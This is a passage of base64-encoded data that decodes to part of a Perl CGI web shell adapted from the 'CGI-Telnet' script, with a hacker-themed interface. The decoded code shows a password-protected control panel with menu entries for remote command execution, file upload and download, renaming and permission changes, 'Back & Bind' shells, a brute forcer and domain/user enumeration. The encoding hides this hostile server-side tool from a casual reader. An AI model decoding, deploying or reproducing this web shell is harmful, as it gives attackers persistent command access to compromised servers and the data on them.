BuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjY2MwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iIzAwMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+Cgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5Db3B5cmlnaHQgKEMpIDIwMDEgUm9oaXRhYiBCYXRyYSA8L2ZvbnQ+PGJyPjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAk